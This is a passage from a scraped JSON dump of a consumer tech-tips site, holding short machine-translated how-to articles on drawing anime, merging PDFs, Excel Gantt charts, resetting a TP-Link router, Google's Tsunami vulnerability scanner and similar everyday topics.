\"\n  From his colleague, Eric Schmidt became Steve Job's \"unseen\" enemy.(Photo: Daniel Adel / The New York Times)\nSince then, any collaboration with Google related to Android has been dismissed by Steve Jobs. He has spent a lot of effort and effort to optimize the experience on iOS to bring the satisfaction of users with the aim of defeating Android in the market.\nToday, both Android and iOS are popular operating systems on the market, but considering the factors such as interface, security, consistency and consistency, Apple's operating system is always appreciated. than.\nncG1vNJzZmismaXArq3KnmWcp51kwam10magrGWnncZuv9OerZ5lmqSvtHnOp5qeZZOhrqq5xJ1kraddmbK0wNGosGaZnpm%2FsLXDZqynrJmheqm10majmqukYq%2BzscCtnw%3D%3D\n","link":"/post/this-is-why-steve-jobs-once-claimed-to-destroy-android-until-his-last-breath/","section":"post","tags":null,"title":"This is why Steve Jobs once claimed to destroy Android until his last breath"},{"body":"You are a true fan of anime or manga, you want to learn, want to learn this creative drawing style but don't know where to start. Follow this article, TipsMake.com will give you a few tips and notes to find out when you want to come to anime - manga , as well as introduce detailed instructions for you to create a manga work. own.\nIf you are looking for advice on creating your own manga, you may be interested in the article:\n9 steps to create your own Manga - Anime series The illustration above shows some things you need to know to be able to draw anime and manga. We will go into each section in detail.\n1. Learn the basics of art If you are a \"newbie\" in this area, you should start with the basic lesson . Practice with simple things like straight lines, basic shapes like circles, ova, squares . Being able to practice sometimes is a bit boring but this will help you improve a lot.\nPractice with a few minutes every day, when you get used to it, you can draw it to other pictures, but other things will help you get bored. Well done, drawing anime is much simpler.\n2. Learn perspective drawing Perspective is to bring a three-dimensional feeling, representing the way that objects appear small or larger; show feeling closer or farther. For example, when you look at a cube, the sides of the image are equal, but the ones that are farther away from your eyes will look smaller. The bigger the object, the easier it is to see it.\nPerspective drawing will take advantage of this effect, depicting it accurately and practically. You can practice and practice by drawing shapes in three dimensions like cubes, rectangular, cylindrical shapes . from different angles. When mastered, this skill will help you a lot when embarking on drawing more complex figures as well as drawing anime characters in your work.\n3. Learn the basics of the human body Accumulating for yourself some body knowledge, human form will be very helpful to you in the process of drawing. You need to understand the proportions and positions of body parts to avoid making mistakes during the pen drawing process. For anime characters, the proportion of some parts may be larger or smaller than the real ones, but will generally be based on the real body to develop the work.\n4. Learn how to polish, polish A properly polished work will make you feel that this is a 3D picture and not a 2D painting. To be able to polish properly, you should learn how light shines on different objects and surfaces. Do not forget to remember the most basic rule: the face facing the light source will be brightest, the brightest side will be darkest.\nPolished correctly will contribute to showing the lighting conditions of the environment, time and time, even the weather is changing.\nFor example, if you draw a character outside on a beautiful sunny day, the character's shadow will be quite sharp and have a high contrast, clearly divided into bright and dark. On the other hand, if on a rainy day or a dense fog, the shadows will be quite blurry, difficult to recognize because of low contrast, bright and dark parts that are harder to see.\nThe shading technique used in the anime is greatly simplified, but still relies on real people and circumstances to develop.\n5. Learn to use colors To be able to use colors effectively, you should learn some basic theories such as hot colors, cool colors, complementary colors , for example, hot colors are yellow, and cool colors are blue. You can look at the color wheel (Wheel Color) to remember which color is of any nature, which colors are opposite each other will be complementary to each other.\nUsing the right combination of colors, you can create an eye-catching and attractive anime character.\n6. Use references when drawing Whatever style you are drawing, it is best to consult the materials at the beginning , especially with \"newbie\". References can be photographs or real objects, people, animals .\nStudy the work of other authors to see how to draw anime, manga, learn styles and learn from them\nFor more tips on designing manga and anime characters, you can refer to:\n4 important steps for creating Manga characters - your own Anime 7. Be patient and don't give up Learning to draw is really not easy . In order to produce a manga, anime requires a lot of time, effort and patience. But when you see your achievements and progress, you will feel your efforts are not wasteful.\nOf course there will still be times when your work is not what you want, or you feel your progress is a bit slow. But don't let those moments frustrate you. Give yourself a break and try again the next day. Quantrimang is sure that, if you work hard and really love manga and anime, there will be no difficulties in getting you to complete your own great works.\nIf you need inspiration, reward yourself with hours of watching some anime episodes, or reading a favorite manga. Inspiration will come from the moments you feel really comfortable.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kwaq80madqKpdobKivs2ipaBlkaO2rrGMmqWdZZ2Wu6itjJ2pmq%2BZo7RuwMipqg%3D%3D\n","link":"/post/tips-for-learning-anime-and-manga-drawing-tips/","section":"post","tags":null,"title":"Tips for learning Anime and Manga drawing tips"},{"body":"A good Apex Legends Mobile player will know every aspect of the game. Which includes all healing equipment. Be it a Medkit, a Phoenix Kit or a shield. In the guide below, you'll learn what healing items are and what additional equipment is required.\nWhat is Apex Legends Mobile Heal? Before knowing about healing items, it is important to learn about the health you will have. Each gamer has only 100 health, if you take damage and the health goes to 0, then your character will be dead. The familiar thing in many survival shooting games like PUBG Mobile PC or Free Fire.\nOnce you lose health, all you need to do is heal immediately with healing items. In addition, you can also replenish health with shields. Weapons will always deal damage to shields and then health. However, keep in mind that air traps and bombardment damage also affect your health and shield.\nAll healing and shield items in Apex Legends Mobile As mentioned above, healing items are used to heal as well as shield in the game. Health can be restored using items like Syringe or Med Kit while shields can be restored using Shield Cells and Shield Battery.\nSyringe\u0026nbsp;   Type: Heal Usage time: 5 seconds Effect: Restores 25 health to the user. This item is similar to Bandage in PUBG Mobile, the time to use is fast but the amount of healing is quite small. So players will have to stock 5-10 or more if they can't find Medkit. You should use this item when you feel safe and do not enter any fights, or at least have a \"protection\" teammate.\nMedkit Type: Heal Usage time: 8 seconds Effect: Restores 100 health to the user. Like the First Aid Kit in PUBG Mobile, the usage time is longer than the Syringe, but in return, the amount of healing is more, only once used and you will recover 100 health. But it is rarer than Syringe, you should only use it when the health is low.\nShield Cell Type: Shield Usage time: 3 seconds Effect: Increases/regenerates player's shield by 25   If there are many then you should use to fill your shield cells to increase defense. You should use this item when you have few shield slots. Save the Shield Battery when you have maxed out the shield cells.\nShield Battery\nType: Shield Usage time: 5 seconds Effect: Increases player's shield by 100 \u0026nbsp;  The rarity of Shield Battery is definitely more than Shield Cell. So you should use this item towards the end of the game when you have maxed the shield. Just balance between the two items Shield Battery and Shield Cell.\nPhoenix Kit\nType: Combo Usage time: 10 seconds Effect: Increases player's shield and health by 100   Restores all health and shield to the player for a duration of 10 seconds. An item that you need to have teammates around or at least already in a safe area.\nUltimate Accelerant Style: Special Usage time: 7 seconds Effect: Increases player's shield and health by 100 A special item, you only need to use Ultimate Accelerant when you have just used your skill and only have about 30-40% left. If you are at 85% or higher, there is no need to use this item. If needed, it should be used when it is at 65% or less.\nA note for newbies is that using any healing item will reduce the player's movement speed and they can't run, slide. However, you can cancel the use of healing items to move to a safe place.\nApex Legends Mobile ncG1vNJzZmismaXArq3KnmWcp51kwaq80madqKpdqsCqusZmmKmdqGK5prPEp5usZZ2kr6q4xGafnpmcnruoecitnKar\n","link":"/post/tips-for-using-apex-legends-mobile-healing-items/","section":"post","tags":null,"title":"Tips for using Apex Legends Mobile healing items"},{"body":"The PDF file format makes our document storage and printing job much simpler and easier. If you have to work with PDF documents and documents, pairing PDF files will save you time and make it easier to manage. In the article below, TipsMake.com provides readers with PDF file joining software to help us manipulate on PDF files more conveniently.\n  Here are Top 5 PDF coupling software and how to use it. Please read along.\n\u0026nbsp;1. PDFSAM   PDFSAM is a fast and professional file joining software, supports joining, editing PDF files and can extract individual PDF pages. The advanced version (Enhanced and Visual) allows us to have many useful operations on PDF files such as converting PDF to word, excel, inserting documents into the PDF file.\nLink to download the software here: https://pdfsam.org/download-pdfsam-basic/\nInstructions to use PDFSAM to pair PDF files Step 1: Open the software and click on Merge .\n  Step 2: You drag and drop the PDF files to pair into the Drag and drop PDF files here area of the software.\n  Step 3: You scroll the bottom pedestal of the software and select Run .\n  Step 4: After the Completed message appears to complete, you can open the paired PDF file by clicking the Open button .\n  And this is a PDF file that has been paired with PDFSAM software. You can open the file using Microsoft Edge browser (Windows 10) or use specialized PDF readers such as Foxit PDF reader .\n  2. Ultra PDF Merger   In the list of free and professional PDF joining software, it is impossible not to mention Ultra PDF Merger . The interface of the software is quite simple and easy to use for newbies. As a specialized PDF merging software, speed, compactness, simple operation are the strong points of this software.\nLink to download the software here https://michalisnicolaides.com/ultra-pdf-merger-v1-3-has-been-released/\nManual Ultra PDF Merger to pair PDF files Step 1: Open the software and click the gray Add button to add the PDF file .\n  Step 2: You continue to open the PDF files to join and click Open .\n  Step 3: Click Merge Files . to join the PDF file pairing.\n  Step 4: Choose where to save the PDF file after pairing. Remember to name the PDF file in the File name section and click Save to save.\n  After the notice that Merging is finished successfully appears, it is completed. Click OK to turn off the message and can open the paired PDF file successfully.\n  3. Adolix Split and Merge PDF   With the software Adolix Split and Merge PDF , we can join or split PDF files in a simple and convenient way. There is also a nice feature on this software that is mixing pages in different PDF: mix 1 page from each PDF file or mix pages into groups of PDF files.\nAdolix Split and Merge PDF download link here https://www.adolix.com/split-merge-pdf/\nInstructions for pairing files with Adolix Split and Merge PDF Step 1: At the main interface of the software, click Merge (1) =\u0026gt; click on (+) (2) .\n  Step 2: Select the PDF files to pair and click Open to open them up.\n  Step 3: Click the Merge files! for the file pairing process to start.\n  After the message, Merge process done! The display is complete, click OK to dismiss the message.\n  4. Batch PDF Merger   Batch PDF Merger software can easily split or merge PDF files quickly and conveniently. The advantage of Batch PDF Merger is that it supports joining multiple files at the same time. In addition, you can also compress small PDF files with this software.\nYou can download the software here https://batchpdfmerger.com/download4\nInstructions to pair PDF files with Batch PDF Merger Step 1: At the main interface of the software, click on Click here to choose PDF files .\n  Step 2: Select the folder containing the PDF files to pair and select the necessary files =\u0026gt; click Open .\n  Step 3: After selecting the files to pair, click Merge Files to merge the selected PDF files together.\n  Step 4: Select the path to save the file and click Save to save.\n  After the notice Your PDF merge is complete! The display is complete and you can open the PDF file.\n  Note: The free version of the software will have the Batch PDF  Merge logoon the PDF file after the pairing is completed. To delete the logo on the PDF file, you should use the software version Batch PDF Merge .\n5. Hexonic PDF Split and Merge   Hexonic PDF Split and Merge gives us the ability to handle PDF files perfectly such as splitting and joining files. Software Hexonic PDF Split and Merge have the option of using free for personal users and needs grafting or split PDF files, the software simply meet your demand.\nHexonic PDF Split and Merge software download link here http://www.hexonic-software.com/\nInstructions for using Hexonic PDF Split and Merge to join PDF files Step 1 : At the main interface of the software, go to File =\u0026gt; Add files .\n  Step 2: Select the PDF file to be paired and click Open to add to the work of Hexonic PDF Split and Merge .\n  Step 3: Click Start processing to begin the process of joining PDF files.\n  Step 4: Choose a location to save the file and name the new PDF file in the File name section. Then click Save to save the file. After successful pairing, your PDF will automatically open.\n  With the software to pair PDF files and the manuals in the article, readers can refer and choose for themselves the software that is most appropriate and useful to your needs. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXqxsMVmnaKklWK3sLXNoqWgZaOks7XDwKucZpmemXqpu9Zmq6hlpaiybrXT\n","link":"/post/top-5-best-pdf-file-joining-software-and-how-to-use-it/","section":"post","tags":null,"title":"Top 5 best PDF file joining software and how to use it"},{"body":"Please read and refer to and download the beautiful green background samples below.\n  Green tree background image for PowerPoint\n  Beautiful green tree background image\n  Cartoon green tree background image\n  Nature green tree background image\n  Green tree background image\n  Background image of beautiful green forest\n  Background image of green forest\n  Green city background image\n  Background image of green plants\n  Background of green branches and leaves\n  Beautiful green tree branches background\n  Green Christmas tree background\n  2D green tree background\n  3D green tree background\n  Anime green tree background\n  Background green trees blur\n  Background of shady trees\n  Green tree background for green life\n  Green tree background for PowerPoint\n  Green tree is growing background\n  Beautiful green tree background\n  Cartoon green tree background\n  Green tree background\n  Autumn green tree background\n  Green Tree Background PowerPoint\n  Green tree love background\n  Good green background\n  Background of green trees by the lake\n  Blue technology background\n  Beautiful green park background\n  Beautiful green forest background\n  Green campus background\n  Green leaves background\n  House and tree background\n  Green forest background\n  Green forest background\n  Background slide of beautiful green plants\n  Green tree background slide\n  Beautiful tree planting background\n  Background about green trees\n  Green pine tree background template\n  Beautiful green tree background template\n  Green tree background template\n  Green tree and sea background template\n  Green tree background template\n  Beautiful green leaf background template\n  Green leaf background template\n  Forest background template\n  Planting background template\n  Background template about green plants\nWith the beautiful green background in the article, please download and use for many different purposes. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kr6at1K2gn62cYrSzscSnZK2qlZp6o63CpJ6rp6WjsW6wzrClpaeRmXqjscCuq6KepaF6qL7EnqVmrKKasm6uwJyioKqfqruleceeqZ4%3D\n","link":"/post/beautiful-green-tree-background-download-beautiful-green-tree-background-here/","section":"post","tags":null,"title":"Beautiful Green Tree Background, download Beautiful Green Tree Background here"},{"body":"These are beautiful Vietnamese fonts for Android, can be installed on the phone without needing to root the phone. They support 100% Vietnamese, so you can renew the Android interface but still keep the familiarity of Vietnamese on the phone.\n  \nAfter a few hours of tinkering, I gave birth to some nice fonts for you to enjoy. Vietnamese language support 100%, not returned by default with difficult words such as \" e\", \" u \" + adding style markers. The font is in the form of the APK file, so there is no need to root the device, just download and then copy it to the phone and install it like installing the software.\nLink download Vietnamese fonts for Android .apk format: https://app.box.com/s/hkk1oq4eyym5okj7jzf5\nLink download Vietnamese font for Android, .ttf format: http://www.mediafire.com/file/qpd61zp6kwyww9v/FONT+TTF.rar\n  \nFont files are .apk for Samsung devices because Samsung allows to change the default font in the device. The phone line does not allow to change the default font, you need to root your Android device first and then install the font with the extension .ttf.\nIf you use a Samsung device and the models allow to change the default fone, follow these steps to install Vietnamese fonts:\n1. Download the apk font and install it on your phone.\n2. Go to Settings / Settings to change the font on Android to another font, not the default font.\n3. Download iFont on Google Play Store and install it on your phone.\n4. Open iFont, in the install section you select the apk font just installed in step 1.\nWith other rooted Android devices, you can also use iFont software to install Vietnamese fonts. See detailed instructions in how to change the Android font that TipsMake.com previously introduced.\nSee more:\nHow to activate and remove developer options on Android devices Top website download safe APK file for Android ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdq7amwM2apJ6rlWKzsLrTZp2oql2Wu6W%2BzqKbZq%2BZqbWwwdNmqainpA%3D%3D\n","link":"/post/download-vietnamese-font-for-android-without-root/","section":"post","tags":null,"title":"Download Vietnamese font for Android without root"},{"body":"Recently, Google decided to release the source code of the Tsunami enterprise network vulnerability scanning tool on GitHub. According to Google Tsunami can be extended to detect serious vulnerabilities with the lowest error rate.\nTsunami was previously used internally within Google. However, from now on, everyone can access this tool via free source code on GitHub. Tsunami can scan large-scale enterprise networks, including millions or thousands of internet-connected systems.\nAfter posting on GitHub, Tsunami will no longer be an official Google product. Instead, it is maintained, developed by the open source community. Google used to do the same thing with Kubernetes, a tool that helps automate deployment, replication, and management of container applications.\nHow does Tsunami work? There are currently hundreds of system scanning tools available in the open source or commercialized form. But Tsunami is different from all that it can be used for large-scale businesses.\nAccording to Google, Tsunami can be used for companies with network systems including hundreds of thousands of servers, workstations, networking equipment and IoT devices connected to the internet. Tsunami can also adapt to these very large, diverse networks, without the need to use different scanning tools for each device type.\n The advantage of Tsunami is that it can scan large businesses as well Google achieves this by dividing Tsunami into two main components and then adding the expandable plugin mechanisms at the top.\nThe first component is the scanner or scout module. It is responsible for scanning the system to detect ports that are not closed. It then examines each port and identifies the protocols and services running on each port to avoid flagging the port and device containing the vulnerability.\nThe second component is more complicated. It works based on the result of the first component. It will access each device and the port in contact with the device then select a list of vulnerabilities to test. Next, benign attacks and exploits will be deployed to see if the device is vulnerable.\nFinally, with the plugin, Tsunami can expand its functionality in the future. Security researchers can add Tsunami new scanning methods for newly discovered vulnerabilities .\nThe current Tsunami version has plugins with the ability to test:\nImportant UIs have been exploited: Applications such as Jenkins, Jupyter and Hadoop Yarn have UIs that allow users to schedule or execute commands on the system. Therefore, if exploited, hackers can take advantage of the application's own functions to execute commands to attack the system. Poor security credentials: Tsunami uses other open source tools like ncrack to detect weak passwords used by protocols and tools like SSH, FTP, RPD and MySQL. Google said that in the coming months, they will equip Tsunami with new plugins to detect various ways of exploiting vulnerabilities. All plugins will be released via a separate repository on GitHub.\nMinimize errors Google said in the future Tsunami will focus on meeting the goals of high-end business customers that are the same size as themselves or businesses with large-scale, diverse networks of devices.\nTsunami's accuracy is the main goal Google pursues. The search giant hopes that with the contribution of the open source community, the level of error of this tool will be reduced to the lowest level possible.\nYou can download Tsunami here.\n ncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZquYlr%2Bmv4ytn55lo6TCs6%2FEZpqonJVivKd506ysp5mdnnqiuoyepa2doqW%2Fqr%2FEZq2upJ6av6KuyKWgrbFdqLCius2ipaBlpKS8rQ%3D%3D\n","link":"/post/google-shares-the-source-code-of-tsunami-an-enterprise-vulnerability-scanning-tool/","section":"post","tags":null,"title":"Google shares the source code of Tsunami, an enterprise vulnerability scanning tool"},{"body":"For complex projects that involve a lot of work to be done, the Gantt chart is one of the smart choices. Excel does not support creating Gantt charts, but you can create a Gantt chart in Excel . The following article will show you how to create a Gantt chart in Excel.\n1. What is a Gantt chart? The Gantt chart is a graph that is often used to manage projects smartly, which is one of the common ways to present time-based activities (tasks or events). Each activity is denoted by a long bar, with a Start Date, a Time (Duration) and an end date (End Date).\nMore reference: Instructions for creating charts in Excel 2007 or 2010 2. How to create a Gantt chart in Excel 1. Create a work breakdown table Each activity in your project has a start date, time, and end date. In the table illustrate a project below the items including the activity names, start date, time and end date.\n  2. Insert bar chart On the Menu , select Insert , then click the Bar chat icon (bar chart).\nA Menu appears, select Stacked Bar Chart ( stacked bar chart).\n  Add start date data (Start Date Data):\n1. Right click on the blank chart location. Then click on Select Data . A Select Data Source window appears.\n2. Under Legend Entries (Series) , click on Add to open the Edit Series window.\n  3. Click on the first field in the Series name section, then click on the boxes on the start date table.\n  4. Click the icon at the bottom of the Series values field (the red arrow icon is in a table) to open the Edit Series window .\n  \n5. Click on the first line and drag down the last line in the Start Date section.\nAfter the item is blacked out. Next, click on the red arrow icon in the table at the end of Edit Series . The current window will close and open a previous window. You just need to click OK.\n  So the first day data was created in the Gantt chart\nSee also: How to keep the cells fixed in Excel? Add data to the Duration Data:\nThe steps are similar to adding data to the start date entry.\n1. Under Legend Entries (Series) , click Add.\n2. Click on the first field in the Series name section, then click on the cells in the time table.\n3. Click the icon at the bottom of the Series values field (the red arrow icon is in a table) to open the Edit Series window .\nClick on the first time box, drag the mouse down to the last time box in the timeline. After the item is selected, next click on the red arrow icon in the table at the end of Edit Series . The current window will close and open the previous window. You choose OK.\n  \nYour time data has been added on the Gantt chart.\nYou can change the date on the left side of the chart\n1. Click on any bar on the chart, then right-click, open Select Data.\n2. Click Edit under the Horizontal (Category) Axis Labels.\n  \n3. Black out the names of the jobs in your chart. Note, do not black out the job list field (Task).\n  4. Click OK , then click OK\nYour Gannt chart will look similar to the illustration below.\n  3. Gantt chart format You can customize the created Gantt chart by adding grid lines, labels, or changing the bar color or the way the values ​​or text display with the chart tool.\n- Note, the work in your chart is arranged in reverse order. To fix this, simply click to select the task list then right-click, choose Format Axis and select Categories in reverse order, then select Close.\n  \n- To hide the green color on each bar, right click on the blue bar, choose Format Data Series , then select Fill and select No fill.\nClick on Border to select No Line.\n- To delete empty spaces at the beginning of the Gantt chart:\nClick on the first line in the Start date section in the data table. Hold and drag to the last line to select it, then right-click and choose Format Cells, then choose General . Remember to note the number line you see in the Sample section.   On the Gantt chart , select the date on the chart bar and then right-click and choose Format Axis. In the Minimum section, enter the number you noted in the previous section. Section Major you should choose the unit of 2. Then select Close to complete the editing process.   - If you want the Gantt chart to look better, you can delete the white spaces between the bars:\nClick on the first orange chart bar. Right-click then select Format Data Series. Separated 100% and Gap Width settings are 10%.   Once completed, your Gantt chart will look like the following illustration:\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKCZnqnBbq%2FHmqmtZZakv2680aihnpukYrqiusCgnKadnql6qrqMnq%2BcnZw%3D\n","link":"/post/how-to-create-a-gantt-chart-for-project-management-in-excel/","section":"post","tags":null,"title":"How to create a Gantt chart for project management in Excel"},{"body":"When registering an information account on websites, most users are required to enter email addresses to verify their accounts. Thus, your continuous receiving of promotional emails, or email notifications is inevitable. Some people choose to use secondary email to avoid spam emails in the main email. Or cancel tracking sites that have registered accounts to no longer receive emails.\nHowever, users can completely simplify things by installing the Burner Emails utility. The utility will initiate the virtual email so you can use the account registration information when needed. Thus we will limit spam email status when using the original email registered. The following article will show you how to use Burner Emails in your browser.\nHere's how to create a virtual email address quickly How to use Inboxen to create unlimited temporary emails Instructions to block mail senders in Gmail Emails Burner usage creates virtual email Step 1:\nPlease visit the link below to install the Burner Emails utility on Chrome browser. Click Add to Chrome to install.\nDownload the Emails Burner utility on Chrome   Step 2:\nClicking on the utility icon at the end of the address bar on the browser will see the registration interface for Burner Emails account.\nEnter the required information and select the terms of use, then click Get Started .\n  Upon successful registration, the user will receive the interface as shown below. We do not need to activate an account to use as other services.\n  Step 3:\nClicking on the notification interface will open the Emails Burner management page. Scrolling down under the Custom Emails section will see frames to create a virtual email when needed.\nWe enter the email name we want in the Email Name box. Click on the Create a new custom email box . Note the email name must not exceed 10 characters.\n  Step 4:\nBurner Emails will automatically create virtual email with the information that the user has entered from the beginning. In case you want to re-create another email and delete this email, click the trash can icon. This email can be used to register account information using services if needed. When the web page sends an email to this virtual email address, the email will be sent to the email where we registered to create the original Emails Burner account.\n  Step 5:\nTo stop receiving emails from the websites we subscribe to, click on the Burner Emails utility icon, then push the horizontal bar to Off to cancel this virtual email activity.\nTo delete the virtual email created on Burner Emails, click the x icon next to the email address. Then click Yes to agree to delete this virtual email.\n  Instead of using the main email to register an account and receive multiple advertising emails, Burner Emails will solve the above problem by creating a virtual email. Currently the utility only supports users to create 1 virtual email only. Hopefully next time the manufacturer will increase the number of virtual emails created on Burner Emails.\nSee more:\nInstructions to delete spam automatically in Gmail How do people access your Gmail without giving them a password? 14 useful tools for Gmail should not be ignored - P2 I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyvoKuspZa5brHMmqClZaSdrrV5y6KkoqyjYrKurcilZKyokaJ6uLXToWSbraKjsrN5xKaYoqSj\n","link":"/post/how-to-create-virtual-email-that-limits-email-spam-with-burner-emails/","section":"post","tags":null,"title":"How to create virtual email that limits email spam with Burner Emails"},{"body":"For various reasons, you need to remove audio from video but don't know how? There are a variety of tools available to remove Video audio, but they are difficult to use and do not have high performance when exporting data from Video. In this article, Software Tips will guide you on how to delete audio in Video most effectively.\n  1. Use Premiere Pro to remove audio from Video Step 1: First, open the software and select File -\u0026gt; New -\u0026gt; Project to create a new working project.\n  Step 2: Then, you proceed to drag the video files you want to delete the audio into the software and drop them in the Source section .\n  Step 3: Next, you hold and drag the Video icon to drop into the V1 bar of the Timeline.\n  Step 4: When you drag like that, the system will automatically remove the Audio item, leaving only the Video for you. Now choose File -\u0026gt; Export -\u0026gt; Media . to export the file.\n  Step 5: In the Video export window, uncheck the  Export Audio item and select Export to export the Video without sound is finished.\n  So you have completed the removal of Audio Video Premiere Pro software on the computer.\n2. Use VLC to remove audio from Video Step 1: First, launch the VLC software and select Media -\u0026gt; Convert / Save . (Ctrl + R) .\n  Step 2: Then, you proceed to select File (1) and select Add (2) to add Video files to delete audio into the system.\n  Step 3: After selecting the file to finish editing, you select Convert / Save to proceed to change.\n  Step 4: Next, you select the Wrench tool icon to proceed to edit.\n  Step 5: In this editing window, select Encapsulation and choose MP4 / MOV .\n  Step 6: Finally, select Audio Codec , uncheck  Audio, and click Create to finish. The system will proceed to export the Video file without sound for you.\n  3. Use Movavi Video Editor to remove audio from Video Step 1: First, you proceed to launch the software and select Add Media Files to add Video files to remove audio into the system.\n  Step 2: After the Video file with audio has been added, right-click on them to select Detach Audio .\n  Step 3: Now the Video and Audio files will be extracted, you right-click on the Audio bar below and select Delete is done.\n  Step 4: Finally, select Export and select Export Video to export the deleted video.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyarJ2hn2K2r3nVopuepw%3D%3D\n","link":"/post/how-to-delete-audio-in-video/","section":"post","tags":null,"title":"How to delete audio in Video"},{"body":"Chrome has a bookmark feature so you can save webpages you want to use later, review the information or content needed without having to sit back and investigate. And when we save lots of bookmarks on Chrome, there's a way to effectively manage them. To manage Chrome bookmarks, you can use Chrome's bookmark manager right away or if you want to manage more effectively, more scientifically, users can use the bookmark management utility . Depending on the needs of use as well as the number of bookmarks you are saving, we can choose the way that is convenient for you. The following article will guide you how to manage bookmarks on Chrome.\n1. Manage bookmarks with Chrome manager Step 1:\nAt the Chrome browser interface, we click on the icon 3 vertical dots and then select Bookmarks , click Bookmark Manager .\n  Step 2:\nNow show all the bookmarks you have created. Here you can change the location of bookmarked pages. In case you have many bookmarks, it is necessary to arrange alphabetically. Click the 3-dot icon and choose Sort by name .\n  Step 3:\nWith bookmarks on the same topic as entertainment, technology, etc., we should combine them into one directory, instead of spreading.Click the 3-dot icon and select Add new folder .\n  Display the content so that you enter a new folder name and then click Save . So when you save a new bookmark you can save to a folder, or move an existing bookmark to the folder.\n  The newly created bookmark folder when you right click to select will display the list of options as below.\n  Step 4:\nRight- clicking on a saved bookmark will display the following options list for you to edit, delete or copy the website URL.\nChrome has the ability to export bookmarks as HTML files and re-import bookmarks in case you reinstall Chrome or reinstall your computer. Content made reference How to save bookmarks on Google Chrome and Coc Coc to your computer.\n  2. Guide to managing bookmarks with BrainyTab The feature of managing bookmarks on browsers just stops saving bookmarks and searching through the toolbar, so it is not really convenient for users. If so, we can use the BrainyTab utility to make the bookmark manager on Chrome browser more intuitive, more scientific, better served when you browse the web. The following article will guide you how to manage Chrome bookmarks with BrainyTab utility.\nStep 1:\nWe download the BrainyTab extension on Chrome by following the link below.\nDownload the BrainyTab Chrome extension Step 2:\nAfter installing the utility and opening a new tab, you will see the bookmark management interface at the New tab interface. To add bookmarks you can follow 2 different ways .\nThe first way is to open the website you want to bookmark and click the BrainyTab icon on the toolbar. Now display the interface with information of available websites and can add website logos if desired. Click Save bookmark to save.\n  Or at the New Tab interface, click the blue plus icon in the bottom left corner and enter the name, URL and website logo to save the site yourself.\n  Step 3:\nAll saved web pages are displayed in New Tab interface. They are sorted by which site the most recent bookmark is shown above. To search for any bookmark , you just need to enter the keyword into the search bar, including keywords in the article name or site name.\n  At each bookmark when clicking the 3-dot icon will have Edit options to edit the bookmark and Remove to remove from the list.\n  Step 4:\nBookmark on the BrainyTab widget is completely separate from bookmarks on the browser. If you want to manage your browser bookmarks , you need to enter them manually. Click the three-dot button at the top right corner of the utility management interface, and then click Import in Import Bookmarks .\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRo66osYycn6unnZp6o7vOpKSaqpuoeqayxZ6araGmmrm6\n","link":"/post/how-to-manage-chrome-bookmarks-effectively/","section":"post","tags":null,"title":"How to manage Chrome bookmarks effectively"},{"body":"After a period of use most likely your home router or wifi modem is faulty or if you forget the modem login password, the only way to save that is to reset the modem to factory default. In this article, TipsMake.com will guide you how to reset TP-Link wifi modem to factory default, please follow along.\n  Note : The hard reset will erase all settings and the device will be returned to the factory default. You can perform a device reset or perform a previous restore if you've backed up the settings.\nMethod 1: Reset by hard button on modem This is the simplest and most effective way, applied in case you can not log in to the wifi modem to configure.\nTo reset you turn the back of the modem then find the button with the Reset symbol as shown below, if the reset button is floating, you can use the hand press. If the reset button sinks as shown below, you need to get a toothpick or the tip of a ball pen to poke.\nWhile the modem is still running, hold down the reset button for 10 ~ 15 seconds, notice the notification light blink or change color, then remove your hand. At this point the modem will reset itself and reboot.\n  After resetting the modem, your wifi will be lost, you must log into the modem to reconfigure your wifi. To log in the modem you can see the address and password account at the bottom of the modem:\n  Method 2: Reset the modem by visiting the configuration page This method only works when you can log in to the wifi modem normally, if you can't login, you have to use method 1.\nStep 1 : To log in to TP-Link modem, access the address: http://tplinkwifi.net\nThen login the account password are: admin\n  Step 2 : After the successful login, column left menu you select Tools system  (system tool) and then select Factory settings (Reboot) , this time the center of the screen will appear the button Restore you Click the Restore button to reset.\n  The message appears, click OK .\n  Finally wait for the reboot is finished.\n  After resetting, the password account to log in to the modem will be admin or you can flip the bottom of the modem to see the password account.\nAbove TipsMake.com has instructed you on ways to reset TP-Link wifi router, hope you will find the article useful. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqLK1edainaJlpKW5qrrKZquoZZaWsLW70bJknZ2WlsKtwNI%3D\n","link":"/post/how-to-reset-wifi-tp-link-to-factory-defaults/","section":"post","tags":null,"title":"How to Reset Wifi TP-Link to factory defaults"},{"body":"This wikiHow teaches you how to check for updates in Microsoft Excel on a Windows or Mac computer. If updates are available, Excel will download and install them as needed. Keep in mind that Excel, like most Microsoft Office products, will...\n Micah Soto Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2gma61sYyer5ydnA%3D%3D\n","link":"/post/how-to-update-excel/","section":"post","tags":null,"title":"How to Update Excel"},{"body":"Currently, the removal of photo backgrounds is no longer so complicated and difficult as before. Because many manufacturers have now released web applications that can help you edit images and backgrounds easily without having to install any software. In the following article I will share tricks to remove photo backdrops with Pixlr.com and Remove.bg, very simple and easy to use.\nInstructions to delete background online   1. How to remove photo backdrops with Pixlr.com Step 1: First, go to https://pixlr.com/x/ to access the [ Pixlr Express ] photo editing page , then click on OPEN IMAGE to upload photos or you can select LOAD URL to Download photos by link.\n  Step 2: Choose the Cutout scissors (1) -\u0026gt; click Remove (2) to change to delete mode, otherwise Keep is restoring the background -\u0026gt; next, start deleting the background of the image.\nAfter completing as shown below, you select Save (3) to save your image to your computer.\n  Step 3: In the list of Save images , you can edit the resolution (1) -\u0026gt; image format (3) -\u0026gt; then you choose Download to save.\nNote: To delete the background image successfully, you should choose the format of PNG instead of JPG offline.\n  Step 4: If you are not sure whether the image has been deleted or not, you can check it with photoshop software.\n  2. Removing background online photo is very simple with Remove.bg Step 1: Please visit https://www.remove.bg/ to start editing.\n  Step 2: After successfully uploading the image, the site will automatically delete the background as shown below -\u0026gt; select Download (1) to download the image to your device, in addition, you can click 